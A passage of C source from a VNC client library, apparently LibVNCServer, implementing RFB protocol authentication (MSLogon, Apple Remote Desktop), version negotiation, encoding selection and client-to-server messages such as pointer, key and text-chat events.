(!ReadFromRFBServer(client, (char *)&resp, 8)) return FALSE; gen = rfbClientSwap64IfLE(gen); mod = rfbClientSwap64IfLE(mod); resp = rfbClientSwap64IfLE(resp); if (!client->GetCredential) { rfbClientLog("GetCredential callback is not set.\n"); return FALSE; } rfbClientLog("WARNING! MSLogon security type has very low password encryption! "\ "Use it only with SSH tunnel or trusted network.\n"); cred = client->GetCredential(client, rfbCredentialTypeUser); if (!cred) { rfbClientLog("Reading credential failed\n"); return FALSE; } memset(username, 0, sizeof(username)); strncpy((char *)username, cred->userCredential.username, sizeof(username)); memset(password, 0, sizeof(password)); strncpy((char *)password, cred->userCredential.password, sizeof(password)); FreeUserCredential(cred); srand(time(NULL)); priv = ((uint64_t)rand())<<32; priv |= (uint64_t)rand(); pub = rfbPowM64(gen, priv, mod); key = rfbPowM64(resp, priv, mod); pub = rfbClientSwap64IfLE(pub); key = rfbClientSwap64IfLE(key); rfbClientEncryptBytes2(username, sizeof(username), (unsigned char *)&key); rfbClientEncryptBytes2(password, sizeof(password), (unsigned char *)&key); if (!WriteToRFBServer(client, (char *)&pub, 8)) return FALSE; if (!WriteToRFBServer(client, (char *)username, sizeof(username))) return FALSE; if (!WriteToRFBServer(client, (char *)password, sizeof(password))) return FALSE; /* Handle the SecurityResult message */ if (!rfbHandleAuthResult(client)) return FALSE; return TRUE; } #ifdef LIBVNCSERVER_WITH_CLIENT_GCRYPT static rfbBool rfbMpiToBytes(const gcry_mpi_t value, uint8_t *result, size_t size) { gcry_error_t error; size_t len; int i; error = gcry_mpi_print(GCRYMPI_FMT_USG, result, size, &len, value); if (gcry_err_code(error) != GPG_ERR_NO_ERROR) { rfbClientLog("gcry_mpi_print error: %s\n", gcry_strerror(error)); return FALSE; } for (i=size-1;i>(int)size-1-(int)len;--i) result[i] = result[i-size+len]; for (;i>=0;--i) result[i] = 0; return TRUE; } static rfbBool HandleARDAuth(rfbClient *client) { uint8_t gen[2], len[2]; size_t keylen; uint8_t *mod = NULL, *resp, *pub, *key, *shared; gcry_mpi_t genmpi = NULL, modmpi = NULL, respmpi = NULL; gcry_mpi_t privmpi = NULL, pubmpi = NULL, keympi = NULL; gcry_md_hd_t md5 = NULL; gcry_cipher_hd_t aes = NULL; gcry_error_t error; uint8_t userpass[128], ciphertext[128]; int passwordLen, usernameLen; rfbCredential *cred = NULL; rfbBool result = FALSE; if (!gcry_control(GCRYCTL_INITIALIZATION_FINISHED_P)) { /* Application did not initialize gcrypt, so we should */ if (!gcry_check_version(GCRYPT_VERSION)) { /* Older version of libgcrypt is installed on system than compiled against */ rfbClientLog("libgcrypt version mismatch.\n"); } } while (1) { if (!ReadFromRFBServer(client, (char *)gen, 2)) break; if (!ReadFromRFBServer(client, (char *)len, 2)) break; if (!client->GetCredential) { rfbClientLog("GetCredential callback is not set.\n"); break; } cred = client->GetCredential(client, rfbCredentialTypeUser); if (!cred) { rfbClientLog("Reading credential failed\n"); break; } keylen = 256*len[0]+len[1]; mod = (uint8_t*)malloc(keylen*4); if (!mod) { rfbClientLog("malloc out of memory\n"); break; } resp = mod+keylen; pub = resp+keylen; key = pub+keylen; if (!ReadFromRFBServer(client, (char *)mod, keylen)) break; if (!ReadFromRFBServer(client, (char *)resp, keylen)) break; error = gcry_mpi_scan(&genmpi, GCRYMPI_FMT_USG, gen, 2, NULL); if (gcry_err_code(error) != GPG_ERR_NO_ERROR) { rfbClientLog("gcry_mpi_scan error: %s\n", gcry_strerror(error)); break; } error = gcry_mpi_scan(&modmpi, GCRYMPI_FMT_USG, mod, keylen, NULL); if (gcry_err_code(error) != GPG_ERR_NO_ERROR) { rfbClientLog("gcry_mpi_scan error: %s\n", gcry_strerror(error)); break; } error = gcry_mpi_scan(&respmpi, GCRYMPI_FMT_USG, resp, keylen, NULL); if (gcry_err_code(error) != GPG_ERR_NO_ERROR) { rfbClientLog("gcry_mpi_scan error: %s\n", gcry_strerror(error)); break; } privmpi = gcry_mpi_new(keylen); if (!privmpi) { rfbClientLog("gcry_mpi_new out of memory\n"); break; } gcry_mpi_randomize(privmpi, (keylen/8)*8, GCRY_STRONG_RANDOM); pubmpi = gcry_mpi_new(keylen); if (!pubmpi) { rfbClientLog("gcry_mpi_new out of memory\n"); break; } gcry_mpi_powm(pubmpi, genmpi, privmpi, modmpi); keympi = gcry_mpi_new(keylen); if (!keympi) { rfbClientLog("gcry_mpi_new out of memory\n"); break; } gcry_mpi_powm(keympi, respmpi, privmpi, modmpi); if (!rfbMpiToBytes(pubmpi, pub, keylen)) break; if (!rfbMpiToBytes(keympi, key, keylen)) break; error = gcry_md_open(&md5, GCRY_MD_MD5, 0); if (gcry_err_code(error) != GPG_ERR_NO_ERROR) { rfbClientLog("gcry_md_open error: %s\n", gcry_strerror(error)); break; } gcry_md_write(md5, key, keylen); error = gcry_md_final(md5); if (gcry_err_code(error) != GPG_ERR_NO_ERROR) { rfbClientLog("gcry_md_final error: %s\n", gcry_strerror(error)); break; } shared = gcry_md_read(md5, GCRY_MD_MD5); passwordLen = strlen(cred->userCredential.password)+1; usernameLen = strlen(cred->userCredential.username)+1; if (passwordLen > sizeof(userpass)/2) passwordLen = sizeof(userpass)/2; if (usernameLen > sizeof(userpass)/2) usernameLen = sizeof(userpass)/2; gcry_randomize(userpass, sizeof(userpass), GCRY_STRONG_RANDOM); memcpy(userpass, cred->userCredential.username, usernameLen); memcpy(userpass+sizeof(userpass)/2, cred->userCredential.password, passwordLen); error = gcry_cipher_open(&aes, GCRY_CIPHER_AES128, GCRY_CIPHER_MODE_ECB, 0); if (gcry_err_code(error) != GPG_ERR_NO_ERROR) { rfbClientLog("gcry_cipher_open error: %s\n", gcry_strerror(error)); break; } error = gcry_cipher_setkey(aes, shared, 16); if (gcry_err_code(error) != GPG_ERR_NO_ERROR) { rfbClientLog("gcry_cipher_setkey error: %s\n", gcry_strerror(error)); break; } error = gcry_cipher_encrypt(aes, ciphertext, sizeof(ciphertext), userpass, sizeof(userpass)); if (gcry_err_code(error) != GPG_ERR_NO_ERROR) { rfbClientLog("gcry_cipher_encrypt error: %s\n", gcry_strerror(error)); break; } if (!WriteToRFBServer(client, (char *)ciphertext, sizeof(ciphertext))) break; if (!WriteToRFBServer(client, (char *)pub, keylen)) break; /* Handle the SecurityResult message */ if (!rfbHandleAuthResult(client)) break; result = TRUE; break; } if (cred) FreeUserCredential(cred); if (mod) free(mod); if (genmpi) gcry_mpi_release(genmpi); if (modmpi) gcry_mpi_release(modmpi); if (respmpi) gcry_mpi_release(respmpi); if (privmpi) gcry_mpi_release(privmpi); if (pubmpi) gcry_mpi_release(pubmpi); if (keympi) gcry_mpi_release(keympi); if (md5) gcry_md_close(md5); if (aes) gcry_cipher_close(aes); return result; } #endif /* * SetClientAuthSchemes. */ void SetClientAuthSchemes(rfbClient* client,const uint32_t *authSchemes, int size) { int i; if (client->clientAuthSchemes) { free(client->clientAuthSchemes); client->clientAuthSchemes = NULL; } if (authSchemes) { if (size<0) { /* If size<0 we assume the passed-in list is also 0-terminate, so we * calculate the size here */ for (size=0;authSchemes[size];size++) ; } client->clientAuthSchemes = (uint32_t*)malloc(sizeof(uint32_t)*(size+1)); for (i=0;i<size;i++) client->clientAuthSchemes[i] = authSchemes[i]; client->clientAuthSchemes[size] = 0; } } /* * InitialiseRFBConnection. */ rfbBool InitialiseRFBConnection(rfbClient* client) { rfbProtocolVersionMsg pv; int major,minor; uint32_t authScheme; uint32_t subAuthScheme; rfbClientInitMsg ci; /* if the connection is immediately closed, don't report anything, so that pmw's monitor can make test connections */ if (client->listenSpecified) errorMessageOnReadFailure = FALSE; if (!ReadFromRFBServer(client, pv, sz_rfbProtocolVersionMsg)) return FALSE; pv[sz_rfbProtocolVersionMsg]=0; errorMessageOnReadFailure = TRUE; pv[sz_rfbProtocolVersionMsg] = 0; if (sscanf(pv,rfbProtocolVersionFormat,&major,&minor) != 2) { rfbClientLog("Not a valid VNC server (%s)\n",pv); return FALSE; } DefaultSupportedMessages(client); client->major = major; client->minor = minor; /* fall back to viewer supported version */ if ((major==rfbProtocolMajorVersion) && (minor>rfbProtocolMinorVersion)) client->minor = rfbProtocolMinorVersion; /* UltraVNC uses minor codes 4 and 6 for the server */ if (major==3 && (minor==4 || minor==6)) { rfbClientLog("UltraVNC server detected, enabling UltraVNC specific messages\n",pv); DefaultSupportedMessagesUltraVNC(client); } /* UltraVNC Single Click uses minor codes 14 and 16 for the server */ if (major==3 && (minor==14 || minor==16)) { minor = minor - 10; client->minor = minor; rfbClientLog("UltraVNC Single Click server detected, enabling UltraVNC specific messages\n",pv); DefaultSupportedMessagesUltraVNC(client); } /* TightVNC uses minor codes 5 for the server */ if (major==3 && minor==5) { rfbClientLog("TightVNC server detected, enabling TightVNC specific messages\n",pv); DefaultSupportedMessagesTightVNC(client); } /* we do not support > RFB3.8 */ if ((major==3 && minor>8) || major>3) { client->major=3; client->minor=8; } rfbClientLog("VNC server supports protocol version %d.%d (viewer %d.%d)\n", major, minor, rfbProtocolMajorVersion, rfbProtocolMinorVersion); sprintf(pv,rfbProtocolVersionFormat,client->major,client->minor); if (!WriteToRFBServer(client, pv, sz_rfbProtocolVersionMsg)) return FALSE; /* 3.7 and onwards sends a # of security types first */ if (client->major==3 && client->minor > 6) { if (!ReadSupportedSecurityType(client, &authScheme, FALSE)) return FALSE; } else { if (!ReadFromRFBServer(client, (char *)&authScheme, 4)) return FALSE; authScheme = rfbClientSwap32IfLE(authScheme); } rfbClientLog("Selected Security Scheme %d\n", authScheme); client->authScheme = authScheme; switch (authScheme) { case rfbConnFailed: ReadReason(client); return FALSE; case rfbNoAuth: rfbClientLog("No authentication needed\n"); /* 3.8 and upwards sends a Security Result for rfbNoAuth */ if ((client->major==3 && client->minor > 7) || client->major>3) if (!rfbHandleAuthResult(client)) return FALSE; break; case rfbVncAuth: if (!HandleVncAuth(client)) return FALSE; break; #ifdef LIBVNCSERVER_HAVE_SASL case rfbSASL: if (!HandleSASLAuth(client)) return FALSE; break; #endif /* LIBVNCSERVER_HAVE_SASL */ case rfbMSLogon: if (!HandleMSLogonAuth(client)) return FALSE; break; case rfbARD: #ifndef LIBVNCSERVER_WITH_CLIENT_GCRYPT rfbClientLog("GCrypt support was not compiled in\n"); return FALSE; #else if (!HandleARDAuth(client)) return FALSE; #endif break; case rfbTLS: if (!HandleAnonTLSAuth(client)) return FALSE; /* After the TLS session is established, sub auth types are expected. * Note that all following reading/writing are through the TLS session from here. */ if (!ReadSupportedSecurityType(client, &subAuthScheme, TRUE)) return FALSE; client->subAuthScheme = subAuthScheme; switch (subAuthScheme) { case rfbConnFailed: ReadReason(client); return FALSE; case rfbNoAuth: rfbClientLog("No sub authentication needed\n"); /* 3.8 and upwards sends a Security Result for rfbNoAuth */ if ((client->major==3 && client->minor > 7) || client->major>3) if (!rfbHandleAuthResult(client)) return FALSE; break; case rfbVncAuth: if (!HandleVncAuth(client)) return FALSE; break; #ifdef LIBVNCSERVER_HAVE_SASL case rfbSASL: if (!HandleSASLAuth(client)) return FALSE; break; #endif /* LIBVNCSERVER_HAVE_SASL */ default: rfbClientLog("Unknown sub authentication scheme from VNC server: %d\n", (int)subAuthScheme); return FALSE; } break; case rfbVeNCrypt: if (!HandleVeNCryptAuth(client)) return FALSE; switch (client->subAuthScheme) { case rfbVeNCryptTLSNone: case rfbVeNCryptX509None: rfbClientLog("No sub authentication needed\n"); if (!rfbHandleAuthResult(client)) return FALSE; break; case rfbVeNCryptTLSVNC: case rfbVeNCryptX509VNC: if (!HandleVncAuth(client)) return FALSE; break; case rfbVeNCryptTLSPlain: case rfbVeNCryptX509Plain: if (!HandlePlainAuth(client)) return FALSE; break; #ifdef LIBVNCSERVER_HAVE_SASL case rfbVeNCryptX509SASL: case rfbVeNCryptTLSSASL: if (!HandleSASLAuth(client)) return FALSE; break; #endif /* LIBVNCSERVER_HAVE_SASL */ default: rfbClientLog("Unknown sub authentication scheme from VNC server: %d\n", client->subAuthScheme); return FALSE; } break; default: { rfbBool authHandled=FALSE; rfbClientProtocolExtension* e; for (e = rfbClientExtensions; e; e = e->next) { uint32_t const* secType; if (!e->handleAuthentication) continue; for (secType = e->securityTypes; secType && *secType; secType++) { if (authScheme==*secType) { if (!e->handleAuthentication(client, authScheme)) return FALSE; if (!rfbHandleAuthResult(client)) return FALSE; authHandled=TRUE; } } } if (authHandled) break; } rfbClientLog("Unknown authentication scheme from VNC server: %d\n", (int)authScheme); return FALSE; } ci.shared = (client->appData.shareDesktop ? 1 : 0); if (!WriteToRFBServer(client, (char *)&ci, sz_rfbClientInitMsg)) return FALSE; if (!ReadFromRFBServer(client, (char *)&client->si, sz_rfbServerInitMsg)) return FALSE; client->si.framebufferWidth = rfbClientSwap16IfLE(client->si.framebufferWidth); client->si.framebufferHeight = rfbClientSwap16IfLE(client->si.framebufferHeight); client->si.format.redMax = rfbClientSwap16IfLE(client->si.format.redMax); client->si.format.greenMax = rfbClientSwap16IfLE(client->si.format.greenMax); client->si.format.blueMax = rfbClientSwap16IfLE(client->si.format.blueMax); client->si.nameLength = rfbClientSwap32IfLE(client->si.nameLength); /* To guard against integer wrap-around, si.nameLength is cast to 64 bit */ client->desktopName = malloc((uint64_t)client->si.nameLength + 1); if (!client->desktopName) { rfbClientLog("Error allocating memory for desktop name, %lu bytes\n", (unsigned long)client->si.nameLength); return FALSE; } if (!ReadFromRFBServer(client, client->desktopName, client->si.nameLength)) return FALSE; client->desktopName[client->si.nameLength] = 0; rfbClientLog("Desktop name \"%s\"\n",client->desktopName); rfbClientLog("Connected to VNC server, using protocol version %d.%d\n", client->major, client->minor); rfbClientLog("VNC server default format:\n"); PrintPixelFormat(&client->si.format); return TRUE; } /* * SetFormatAndEncodings. */ rfbBool SetFormatAndEncodings(rfbClient* client) { rfbSetPixelFormatMsg spf; char buf[sz_rfbSetEncodingsMsg + MAX_ENCODINGS * 4]; rfbSetEncodingsMsg *se = (rfbSetEncodingsMsg *)buf; uint32_t *encs = (uint32_t *)(&buf[sz_rfbSetEncodingsMsg]); int len = 0; rfbBool requestCompressLevel = FALSE; rfbBool requestQualityLevel = FALSE; rfbBool requestLastRectEncoding = FALSE; rfbClientProtocolExtension* e; if (!SupportsClient2Server(client, rfbSetPixelFormat)) return TRUE; spf.type = rfbSetPixelFormat; spf.pad1 = 0; spf.pad2 = 0; spf.format = client->format; spf.format.redMax = rfbClientSwap16IfLE(spf.format.redMax); spf.format.greenMax = rfbClientSwap16IfLE(spf.format.greenMax); spf.format.blueMax = rfbClientSwap16IfLE(spf.format.blueMax); if (!WriteToRFBServer(client, (char *)&spf, sz_rfbSetPixelFormatMsg)) return FALSE; if (!SupportsClient2Server(client, rfbSetEncodings)) return TRUE; se->type = rfbSetEncodings; se->pad = 0; se->nEncodings = 0; if (client->appData.encodingsString) { const char *encStr = client->appData.encodingsString; int encStrLen; do { const char *nextEncStr = strchr(encStr, ' '); if (nextEncStr) { encStrLen = nextEncStr - encStr; nextEncStr++; } else { encStrLen = strlen(encStr); } if (strncasecmp(encStr,"raw",encStrLen) == 0) { encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingRaw); } else if (strncasecmp(encStr,"copyrect",encStrLen) == 0) { encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingCopyRect); #ifdef LIBVNCSERVER_HAVE_LIBZ #ifdef LIBVNCSERVER_HAVE_LIBJPEG } else if (strncasecmp(encStr,"tight",encStrLen) == 0) { encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingTight); requestLastRectEncoding = TRUE; if (client->appData.compressLevel >= 0 && client->appData.compressLevel <= 9) requestCompressLevel = TRUE; if (client->appData.enableJPEG) requestQualityLevel = TRUE; #endif #endif } else if (strncasecmp(encStr,"hextile",encStrLen) == 0) { encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingHextile); #ifdef LIBVNCSERVER_HAVE_LIBZ } else if (strncasecmp(encStr,"zlib",encStrLen) == 0) { encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingZlib); if (client->appData.compressLevel >= 0 && client->appData.compressLevel <= 9) requestCompressLevel = TRUE; } else if (strncasecmp(encStr,"zlibhex",encStrLen) == 0) { encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingZlibHex); if (client->appData.compressLevel >= 0 && client->appData.compressLevel <= 9) requestCompressLevel = TRUE; } else if (strncasecmp(encStr,"trle",encStrLen) == 0) { encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingTRLE); } else if (strncasecmp(encStr,"zrle",encStrLen) == 0) { encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingZRLE); } else if (strncasecmp(encStr,"zywrle",encStrLen) == 0) { encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingZYWRLE); requestQualityLevel = TRUE; #endif } else if ((strncasecmp(encStr,"ultra",encStrLen) == 0) || (strncasecmp(encStr,"ultrazip",encStrLen) == 0)) { /* There are 2 encodings used in 'ultra' */ encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingUltra); encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingUltraZip); } else if (strncasecmp(encStr,"corre",encStrLen) == 0) { encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingCoRRE); } else if (strncasecmp(encStr,"rre",encStrLen) == 0) { encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingRRE); } else { rfbClientLog("Unknown encoding '%.*s'\n",encStrLen,encStr); } encStr = nextEncStr; } while (encStr && se->nEncodings < MAX_ENCODINGS); if (se->nEncodings < MAX_ENCODINGS && requestCompressLevel) { encs[se->nEncodings++] = rfbClientSwap32IfLE(client->appData.compressLevel + rfbEncodingCompressLevel0); } if (se->nEncodings < MAX_ENCODINGS && requestQualityLevel) { if (client->appData.qualityLevel < 0 || client->appData.qualityLevel > 9) client->appData.qualityLevel = 5; encs[se->nEncodings++] = rfbClientSwap32IfLE(client->appData.qualityLevel + rfbEncodingQualityLevel0); } } else { if (SameMachine(client->sock)) { /* TODO: if (!tunnelSpecified) { */ rfbClientLog("Same machine: preferring raw encoding\n"); encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingRaw); /* } else { rfbClientLog("Tunneling active: preferring tight encoding\n"); } */ } encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingCopyRect); #ifdef LIBVNCSERVER_HAVE_LIBZ #ifdef LIBVNCSERVER_HAVE_LIBJPEG encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingTight); requestLastRectEncoding = TRUE; #endif #endif encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingHextile); #ifdef LIBVNCSERVER_HAVE_LIBZ encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingZlib); encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingZRLE); encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingZYWRLE); #endif encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingUltra); encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingUltraZip); encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingCoRRE); encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingRRE); if (client->appData.compressLevel >= 0 && client->appData.compressLevel <= 9) { encs[se->nEncodings++] = rfbClientSwap32IfLE(client->appData.compressLevel + rfbEncodingCompressLevel0); } else /* if (!tunnelSpecified) */ { /* If -tunnel option was provided, we assume that server machine is not in the local network so we use default compression level for tight encoding instead of fast compression. Thus we are requesting level 1 compression only if tunneling is not used. */ encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingCompressLevel1); } if (client->appData.enableJPEG) { if (client->appData.qualityLevel < 0 || client->appData.qualityLevel > 9) client->appData.qualityLevel = 5; encs[se->nEncodings++] = rfbClientSwap32IfLE(client->appData.qualityLevel + rfbEncodingQualityLevel0); } } /* Remote Cursor Support (local to viewer) */ if (client->appData.useRemoteCursor) { if (se->nEncodings < MAX_ENCODINGS) encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingXCursor); if (se->nEncodings < MAX_ENCODINGS) encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingRichCursor); if (se->nEncodings < MAX_ENCODINGS) encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingPointerPos); } /* Keyboard State Encodings */ if (se->nEncodings < MAX_ENCODINGS) encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingKeyboardLedState); /* New Frame Buffer Size */ if (se->nEncodings < MAX_ENCODINGS && client->canHandleNewFBSize) encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingNewFBSize); /* Last Rect */ if (se->nEncodings < MAX_ENCODINGS && requestLastRectEncoding) encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingLastRect); /* Server Capabilities */ if (se->nEncodings < MAX_ENCODINGS) encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingSupportedMessages); if (se->nEncodings < MAX_ENCODINGS) encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingSupportedEncodings); if (se->nEncodings < MAX_ENCODINGS) encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingServerIdentity); /* xvp */ if (se->nEncodings < MAX_ENCODINGS) encs[se->nEncodings++] = rfbClientSwap32IfLE(rfbEncodingXvp); /* client extensions */ for(e = rfbClientExtensions; e; e = e->next) if(e->encodings) { int* enc; for(enc = e->encodings; *enc; enc++) if(se->nEncodings < MAX_ENCODINGS) encs[se->nEncodings++] = rfbClientSwap32IfLE(*enc); } len = sz_rfbSetEncodingsMsg + se->nEncodings * 4; se->nEncodings = rfbClientSwap16IfLE(se->nEncodings); if (!WriteToRFBServer(client, buf, len)) return FALSE; return TRUE; } /* * SendIncrementalFramebufferUpdateRequest. */ rfbBool SendIncrementalFramebufferUpdateRequest(rfbClient* client) { return SendFramebufferUpdateRequest(client, client->updateRect.x, client->updateRect.y, client->updateRect.w, client->updateRect.h, TRUE); } /* * SendFramebufferUpdateRequest. */ rfbBool SendFramebufferUpdateRequest(rfbClient* client, int x, int y, int w, int h, rfbBool incremental) { rfbFramebufferUpdateRequestMsg fur; if (!SupportsClient2Server(client, rfbFramebufferUpdateRequest)) return TRUE; fur.type = rfbFramebufferUpdateRequest; fur.incremental = incremental ? 1 : 0; fur.x = rfbClientSwap16IfLE(x); fur.y = rfbClientSwap16IfLE(y); fur.w = rfbClientSwap16IfLE(w); fur.h = rfbClientSwap16IfLE(h); if (!WriteToRFBServer(client, (char *)&fur, sz_rfbFramebufferUpdateRequestMsg)) return FALSE; return TRUE; } /* * SendScaleSetting. */ rfbBool SendScaleSetting(rfbClient* client,int scaleSetting) { rfbSetScaleMsg ssm; ssm.scale = scaleSetting; ssm.pad = 0; /* favor UltraVNC SetScale if both are supported */ if (SupportsClient2Server(client, rfbSetScale)) { ssm.type = rfbSetScale; if (!WriteToRFBServer(client, (char *)&ssm, sz_rfbSetScaleMsg)) return FALSE; } if (SupportsClient2Server(client, rfbPalmVNCSetScaleFactor)) { ssm.type = rfbPalmVNCSetScaleFactor; if (!WriteToRFBServer(client, (char *)&ssm, sz_rfbSetScaleMsg)) return FALSE; } return TRUE; } /* * TextChatFunctions (UltraVNC) * Extremely bandwidth friendly method of communicating with a user * (Think HelpDesk type applications) */ rfbBool TextChatSend(rfbClient* client, char *text) { rfbTextChatMsg chat; int count = strlen(text); if (!SupportsClient2Server(client, rfbTextChat)) return TRUE; chat.type = rfbTextChat; chat.pad1 = 0; chat.pad2 = 0; chat.length = (uint32_t)count; chat.length = rfbClientSwap32IfLE(chat.length); if (!WriteToRFBServer(client, (char *)&chat, sz_rfbTextChatMsg)) return FALSE; if (count>0) { if (!WriteToRFBServer(client, text, count)) return FALSE; } return TRUE; } rfbBool TextChatOpen(rfbClient* client) { rfbTextChatMsg chat; if (!SupportsClient2Server(client, rfbTextChat)) return TRUE; chat.type = rfbTextChat; chat.pad1 = 0; chat.pad2 = 0; chat.length = rfbClientSwap32IfLE(rfbTextChatOpen); return (WriteToRFBServer(client, (char *)&chat, sz_rfbTextChatMsg) ? TRUE : FALSE); } rfbBool TextChatClose(rfbClient* client) { rfbTextChatMsg chat; if (!SupportsClient2Server(client, rfbTextChat)) return TRUE; chat.type = rfbTextChat; chat.pad1 = 0; chat.pad2 = 0; chat.length = rfbClientSwap32IfLE(rfbTextChatClose); return (WriteToRFBServer(client, (char *)&chat, sz_rfbTextChatMsg) ? TRUE : FALSE); } rfbBool TextChatFinish(rfbClient* client) { rfbTextChatMsg chat; if (!SupportsClient2Server(client, rfbTextChat)) return TRUE; chat.type = rfbTextChat; chat.pad1 = 0; chat.pad2 = 0; chat.length = rfbClientSwap32IfLE(rfbTextChatFinished); return (WriteToRFBServer(client, (char *)&chat, sz_rfbTextChatMsg) ? TRUE : FALSE); } /* * UltraVNC Server Input Disable * Apparently, the remote client can *prevent* the local user from interacting with the display * I would think this is extremely helpful when used in a HelpDesk situation */ rfbBool PermitServerInput(rfbClient* client, int enabled) { rfbSetServerInputMsg msg; if (!SupportsClient2Server(client, rfbSetServerInput)) return TRUE; /* enabled==1, then server input from local keyboard is disabled */ msg.type = rfbSetServerInput; msg.status = (enabled ? 1 : 0); msg.pad = 0; return (WriteToRFBServer(client, (char *)&msg, sz_rfbSetServerInputMsg) ? TRUE : FALSE); } /* * send xvp client message * A client supporting the xvp extension sends this to request that the server initiate * a clean shutdown, clean reboot or abrupt reset of the system whose framebuffer the * client is displaying. * * only version 1 is defined in the protocol specs * * possible values for code are: * rfbXvp_Shutdown * rfbXvp_Reboot * rfbXvp_Reset */ rfbBool SendXvpMsg(rfbClient* client, uint8_t version, uint8_t code) { rfbXvpMsg xvp; if (!SupportsClient2Server(client, rfbXvp)) return TRUE; xvp.type = rfbXvp; xvp.pad = 0; xvp.version = version; xvp.code = code; if (!WriteToRFBServer(client, (char *)&xvp, sz_rfbXvpMsg)) return FALSE; return TRUE; } /* * SendPointerEvent. */ rfbBool SendPointerEvent(rfbClient* client,int x, int y, int buttonMask) { rfbPointerEventMsg pe; if (!SupportsClient2Server(client, rfbPointerEvent)) return TRUE; pe.type = rfbPointerEvent; pe.buttonMask = buttonMask; if (x < 0) x = 0; if (y < 0) y = 0; pe.x = rfbClientSwap16IfLE(x); pe.y = rfbClientSwap16IfLE(y); return WriteToRFBServer(client, (char *)&pe, sz_rfbPointerEventMsg); } /* * SendKeyEvent. */ rfbBool SendKeyEvent(rfbClient* client, uint32_t key, rfbBool down) { rfbKeyEventMsg ke; if (!SupportsClient2Server(client, rfbKeyEvent)) return TRUE; memset(&ke, 0, sizeof(ke)); ke.type = rfbKeyEvent; ke.down = down ? 1 : 0; ke.key = rfbClientSwap32IfLE(key); return WriteToRFBServer(client, (char *)&ke, sz_rfbKeyEventMsg); } /* * SendClientCutText. */ rfbBool SendClientCutText(rfbClient* client, char *str, int len) { rfbClientCutTextMsg cct; if (!SupportsClient2Server(client, rfbClientCutText)) return TRUE; memset(&cct, 0, sizeof(cct)); cct.type = rfbClientCutText; cct.length = rfbClientSwap32IfLE(len); return (WriteToRFBServer(client, (char *)&cct, sz_rfbClientCutTextMsg) && WriteToRFBServer(client, str, len)); } /* * HandleRFBServerMessage. */ rfbBool HandleRFBServerMessage(rfbClient* client) { rfbServerToClientMsg msg; if (client->serverPort==-1) client->vncRec->readTimestamp = TRUE; if (!ReadFromRFBServer(client, (char *)&msg, 1)) return FALSE; switch (msg.type) { case rfbSetColourMapEntries: { /* TODO: int i; uint16_t rgb[3]; XColor xc; if (!ReadFromRFBServer(client, ((char *)&msg) + 1, sz_rfbSetColourMapEntriesMsg - 1)) return FALSE; msg.scme.firstColour = rfbClientSwap16IfLE(msg.scme.firstColour); msg.scme.nColours = rfbClientSwap16IfLE(msg.scme.nColours); for (i = 0; i < msg.scme.nColours; i++) { if (!ReadFromRFBServer(client, (char *)rgb, 6)) return FALSE; xc.pixel = msg.scme.firstColour + i; xc.red = rfbClientSwap16IfLE(rgb[0]); xc.green = rfbClientSwap16IfLE(rgb[1]); xc.blue = rfbClientSwap16IfLE(rgb[2]); xc.flags = DoRed|DoGreen|DoBlue; XStoreColor(dpy, cmap, &xc); } */ break; } case rfbFramebufferUpdate: { rfbFramebufferUpdateRectHeader rect; int linesToRead; int bytesPerLine; int i; if (!ReadFromRFBServer(client, ((char *)&msg.fu) + 1, sz_rfbFramebufferUpdateMsg - 1)) return FALSE; msg.fu.nRects = rfbClientSwap16IfLE(msg.fu.nRects); for (i = 0; i < msg.fu.nRects; i++) { if (!ReadFromRFBServer(client, (char *)&rect, sz_rfbFramebufferUpdateRectHeader)) return FALSE; rect.encoding = rfbClientSwap32IfLE(rect.encoding); if (rect.encoding == rfbEncodingLastRect) break; rect.r.x = rfbClientSwap16IfLE(rect.r.x); rect.r.y = rfbClientSwap16IfLE(rect.r.y); rect.r.w = rfbClientSwap16IfLE(rect.r.w); rect.r.h = rfbClientSwap16IfLE(rect.r.h); if (rect.encoding == rfbEncodingXCursor || rect.encoding == rfbEncodingRichCursor) { if (!HandleCursorShape(client, rect.r.x, rect.r.y, rect.r.w, rect.r.h, rect.encoding)) { return FALSE; } continue; } if (rect.encoding == rfbEncodingPointerPos) { if (!client->HandleCursorPos(client,rect.r.x, rect.r.y)) { return FALSE; } continue; } if (rect.encoding == rfbEncodingKeyboardLedState) { /* OK! We have received a keyboard state message!!! */ client->KeyboardLedStateEnabled = 1; if (client->HandleKeyboardLedState!=NULL) client->HandleKeyboardLedState(client, rect.r.x, 0); /* stash it for the future */ client->CurrentKeyboardLedState = rect.r.x; continue; } if (rect.encoding == rfbEncodingNewFBSize) 